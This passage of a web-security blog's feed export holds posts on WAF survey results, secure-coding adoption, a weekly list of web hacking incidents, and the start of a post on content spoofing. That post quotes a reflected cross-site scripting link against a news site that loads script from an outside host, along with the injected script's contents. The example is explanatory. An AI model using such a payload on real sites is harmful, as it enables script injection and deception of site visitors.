small;"&gt;WAF&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;55% of respondents agreed with this statement.  I believe that this viewpoint is somewhat related to the previous responses about a &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAF&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; being an HTTP-Aware IDS/&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;.  Network Firewall vendors are promoting the concept of Deep Packet Inspection capabilities which allows them to view application layer data however there are some real-world limitations that often crop up with regards to web traffic.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Access to &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;SSL&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; traffic - in order to decrypt the &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;SSL&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; streams to view the HTTP payloads, any security device must be able to import the &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;SSL&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; cert and private key of the destination app server.  Many network firewalls do not have the capability so the web-based protection is only for clear-text port 80 traffic.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Only negative security/signatures - the protections are based only on known/public vulnerabilities and use signatures.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Performance impact - network firewalls have to service many other protocols and the performance overhead of Deep Packet Inspection usually adds too much latency for real-world use.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;&lt;i&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAF&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; is only required if a company wants to be &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;-&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;DSS&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; compliant&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;48.3% of respondents agreed with this comment which to me implies two things:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Organizations don't understand the true value of &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAFs&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; which extend beyond the "Signature-Based, HTTP-Aware IDS/&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;".  This narrow use case excludes capabilities such as Application Defect Identification and Performance Events (such as identifying Application Layer &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;DoS&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;).&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;This view echoes the comments made by &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Ofer&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Shezaf&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; in his &lt;/span&gt;&lt;a href="http://www.xiom.com/2010/01/10/curse-pci-wafs"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;"The Curse of &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; for &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAFs&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;"&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; blog post.  It seems like a bit of a Catch-22 with &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; and &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAFs&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; in that on the one hand, &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; has raised the awareness of &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAFs&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; in general, however on the other hand now people are starting to associate &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAFs&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; as a need only if you have comply with &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The end result of this survey shows that there is still much &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;WAF&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; awareness and education that needs to be done in the marketplace.  Hopefully my blog posts are helping in this regard.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-4195627849260855582?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/4195627849260855582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=4195627849260855582' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/4195627849260855582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/4195627849260855582'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/04/waf-confusion-continues.html' title='WAF Confusion Continues'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_E0YEPhKPc2k/S7yBOv0GXiI/AAAAAAAAAGw/TRi2SxR86q8/s72-c/waf_confusion_1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-3849218578103869508</id><published>2010-04-05T11:10:00.011-04:00</published><updated>2010-04-08T12:41:37.417-04:00</updated><title type='text'>Secure Coding Practices Survey Results</title><content type='html'>&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Submitted by Ryan Barnett 04/06/2010&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The results of an interesting survey was recently released by Errata Security entitled &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.erratasec.com/ErrataSurveyResults.pdf"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Integrating Security Into the Software Development Lifecycle&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;.  The survey was gathered during the recent RSA and Security B-Sides conferences in San Francisco and focused on attendees who worked at software companies.  There were a number of interesting perspectives on the levels of success, or lack there or, of attempting to implement a software development life cycle (SDLC) into an organization.  Here is the most telling takeway from a &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.darkreading.com/shared/printableArticle.jhtml?articleID=224200945"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;DarkReading&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; story on the survey results: &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;meta equiv="content-type" content="text/html; charset=utf-8"&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Microsoft's SDL was the most popular tool for secure software development methods, with Microsoft SDL Agile at number two, with 35 percent of the respondents using Agile SDL, most of which were small development firms and several large companies in the survey. "The survey showed a big win for Microsoft's awareness program, but what I hope that Microsoft will learn from this is that small- to medium-sized software companies have different needs than the big guys. SDL-Agile is a good start, but now they need to re-evaluate the resource requirements with small company in mind," says Marisa Fagan, security project manager at Errata Security.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_E0YEPhKPc2k/S7pDVHMMA5I/AAAAAAAAAGo/v6sPL-cKras/s1600/reasons_for_not_adopting.png"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 400px; height: 138px;" src="http://1.bp.blogspot.com/_E0YEPhKPc2k/S7pDVHMMA5I/AAAAAAAAAGo/v6sPL-cKras/s400/reasons_for_not_adopting.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5456747928499258258" /&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Fagan says among those companies not deploying a secure coding program, the main reason was a lack of resources.&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; "No matter what the size of the company, participants said it was too time consuming, too expensive, and too draining on their resources," she says&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;. "Another reason was that management had deemed it unnecessary...The survey showed that developers look to management to set the security agenda, and are generally not self-starters when it comes to including security in their code."&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;This is a key finding that organizations are facing, especially small to medium sized ones.  Here is a comment from a survey participant that echoes this same sentiment:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Planning to move security further "left" in the cycle.  Unfortunately, my executive management is more concerned with getting a product out the door than getting a secure product out the door.  Until that changes, I don't know how successful I can be...&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;I have seen this issue first hand.  If upper-management does not fully comprehend the impact of poor software security, then throwing process and technology at the problem won't help.  C-level executives need guidelines so that they can make informed decisions about the possible consequences of producing insecure code.  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Last Wednesday an interesting report was released called "&lt;/span&gt;&lt;a href="http://webstore.ansi.org/cybersecurity.aspx"&gt;&lt;span class="Apple-style-span"  style="color:#000000;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The Financial Management of Cyber Risk: An Implementation Framework for CFOs&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;" and it is highly recommended that management reads it.  Please pass this along.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-3849218578103869508?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/3849218578103869508/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=3849218578103869508' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3849218578103869508'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3849218578103869508'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/04/secure-coding-practices-survey-results.html' title='Secure Coding Practices Survey Results'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_E0YEPhKPc2k/S7pDVHMMA5I/AAAAAAAAAGo/v6sPL-cKras/s72-c/reasons_for_not_adopting.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-7904865846169664235</id><published>2010-04-05T10:13:00.002-04:00</published><updated>2010-04-05T10:27:46.153-04:00</updated><title type='text'>Weekly Round-Up of Web Hacking Incident Database (WHID) Events (March 29th - April 5th)</title><content type='html'>&lt;div&gt;&lt;i&gt;Submitted by Ryan Barnett 04/05/2010&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;The &lt;a href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt;Web Hacking Incidents Database&lt;/a&gt;, or WHID for short, is a &lt;a href="http://www.webappsec.org"&gt;Web Application Security Consortium&lt;/a&gt; project dedicated to maintaining a list of web applications related security incidents. WHID goal is to serve as a tool for raising awareness of the web application security problem and provide information for statistical analysis of web applications security incidents.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The following incidents where added to WHID last week:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-46: Microsoft's Larry "Major Nelson" Hryb has online account hijacked through Xbox.com as part of underground group's publicity bid.&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.gamespot.com/news/6254330.html"&gt;http://www.gamespot.com/news/6254330.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-47: Court papers: JC Penney was hacking victim&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.msnbc.msn.com/id/36088614/ns/technology_and_science-security/"&gt;http://www.msnbc.msn.com/id/36088614/ns/technology_and_science-security/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-48: Hackers brute force their way into galeton.com website containing names, credit card numbers&lt;/div&gt;&lt;div&gt;&lt;a href="http://datalossdb.org/incidents/2692-hackers-brute-force-their-way-into-website-containing-names-credit-card-numbers"&gt;http://datalossdb.org/incidents/2692-hackers-brute-force-their-way-into-website-containing-names-credit-card-numbers&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-49: Hackers pluck 8,300 customer logins from bank server&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.theregister.co.uk/2010/01/12/bank_server_breached/"&gt;http://www.theregister.co.uk/2010/01/12/bank_server_breached/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-50: Shared-password vulnerability may have exposed personal information in online account management system&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.darkreading.com/vulnerability_management/security/privacy/showArticle.jhtml?articleID=222301034"&gt;http://www.darkreading.com/vulnerability_management/security/privacy/showArticle.jhtml?articleID=222301034&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-51: Woman worms into D.C. taxpayer accounts&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.washingtonexaminer.com/local/Woman-worms-into-D_C_-taxpayer-accounts-83589257.html"&gt;http://www.washingtonexaminer.com/local/Woman-worms-into-D_C_-taxpayer-accounts-83589257.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-52: 3000 Small Dog Electronics customers' credit card details compromised&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.infosecurity-us.com/view/7411/3000-small-dog-electronics-customers-credit-card-details-compromised/"&gt;http://www.infosecurity-us.com/view/7411/3000-small-dog-electronics-customers-credit-card-details-compromised/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-53: Google says Vietnam political blogs hacked&lt;/div&gt;&lt;div&gt;&lt;a href="http://news.yahoo.com/s/afp/20100331/tc_afp/vietnammediainternetrightsgooglemcafee&amp;amp;a=Technology News&amp;amp;x=1"&gt;http://news.yahoo.com/s/afp/20100331/tc_afp/vietnammediainternetrightsgooglemcafee&amp;amp;a=Technology News&amp;amp;x=1&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-54: MyPilotStore.com hack results in false charges on customers’ cards&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.databreaches.net/?p=10990"&gt;http://www.databreaches.net/?p=10990&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-55: Drudge Report accused of serving malware, again&lt;/div&gt;&lt;div&gt;&lt;a href="http://news.cnet.com/8301-27080_3-10466044-245.html"&gt;http://news.cnet.com/8301-27080_3-10466044-245.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-56: Facebook Flub Leaks Private E-Mail Addresses&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.cio.com/article/589021/Facebook_Flub_Leaks_Private_E_Mail_Addresses"&gt;http://www.cio.com/article/589021/Facebook_Flub_Leaks_Private_E_Mail_Addresses&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-57: Web security under attack from ads in prominent advertising programs&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.mxlogic.com/securitynews/web-security/web-security-under-attack-from-ads-in-prominent-advertising-programs651.cfm"&gt;http://www.mxlogic.com/securitynews/web-security/web-security-under-attack-from-ads-in-prominent-advertising-programs651.cfm&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;WHID 2010-58: China journalist club shuts website after attack&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.reuters.com/assets/print?aid=USTOE63101R20100402"&gt;http://www.reuters.com/assets/print?aid=USTOE63101R20100402&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-7904865846169664235?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/7904865846169664235/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=7904865846169664235' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/7904865846169664235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/7904865846169664235'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/04/weekly-round-up-of-web-hacking-incident.html' title='Weekly Round-Up of Web Hacking Incident Database (WHID) Events (March 29th - April 5th)'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-5711829285013592575</id><published>2010-04-01T09:46:00.004-04:00</published><updated>2010-04-01T10:52:39.019-04:00</updated><title type='text'>Content Spoofing - Not Just An April Fool's Day Attack</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_E0YEPhKPc2k/S7SowmEHBgI/AAAAAAAAAGY/R_B9b2mkBl4/s1600/fake_news.png"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 400px; height: 263px;" src="http://4.bp.blogspot.com/_E0YEPhKPc2k/S7SowmEHBgI/AAAAAAAAAGY/R_B9b2mkBl4/s400/fake_news.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5455170601457485314" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;i&gt;Submitted by Ryan Barnett 04/01/2010&lt;/i&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Happy April Fool's Day Everyone!  April 1st is traditionally a day for pranks and there is no doubt in my mind that we will all be flooded with all sorts of &lt;a href="http://projects.webappsec.org/Content-Spoofing"&gt;Content Spoofing&lt;/a&gt; types of fake news stories such as the one in the graphic on the right from the CBS News website whose headline read:&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;George Bush appoints a 9 year old to be the chairperson of the Information Security Department.&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;How are these attacks carried out?  More often than not, attackers leverage reflective &lt;a href="http://projects.webappsec.org/Cross-Site+Scripting"&gt;Cross-site Scripting&lt;/a&gt; vulnerabilities within news outlet's web applications so that if victims click on web links the spoofed data will appear.  Here is what the XSS link looked like:&lt;/div&gt;&lt;i&gt;&lt;blockquote&gt;http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1&lt;b&gt;--%3E%3Cscript%20src=http://www.securitylab. ru/test/sc.js%3E%3C/script%3E%3C!--&lt;/b&gt;&lt;/blockquote&gt;&lt;/i&gt;&lt;div&gt;When the user sent this request to the website, the javascript payload executed within the victim's browser and requested the sc.js file on the remote, hacker-owned website.  The contents of the sc.js file were:&lt;/div&gt;&lt;i&gt;&lt;blockquote&gt;document.write('&amp;amp;ltp align=left&amp;amp;gtMon, 28 August 2006');&lt;br /&gt;document.write('&amp;amp;ltp align=center&gt;&amp;amp;ltb&amp;amp;gtGeorge Bush appoints a 9year old to be the chairperson… ');&lt;br /&gt;document.write('&amp;amp;ltp&gt;On Friday night, George Bush made... ');&lt;br /&gt;document.write('&amp;amp;ltp&gt;Michael Antipov was noticed by the FBI... ');&lt;br /&gt;document.write('&amp;amp;ltp&gt;Michael Antipov, sun of the top-secret... ');&lt;br /&gt;document.write('&amp;amp;ltp&gt;From now on the citizens of the USA can... ');&lt;/blockquote&gt;&lt;/i&gt;&lt;div&gt;Cross-site Scripting vulnerabilities are found in just about every web application so the CBS News site example here is not unique.  The &lt;a href="http://xssed.com/search?key=news"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;XSSed&lt;/span&gt; website&lt;/a&gt; shows a number of news outlet sites vulnerable to this type of attack:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; "&gt;&lt;a href="/mirror/64429/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;/a&gt;&lt;blockquote&gt;&lt;a href="/mirror/64429/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;www.internetnews.com&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;XSS&lt;/span&gt; vulnerability 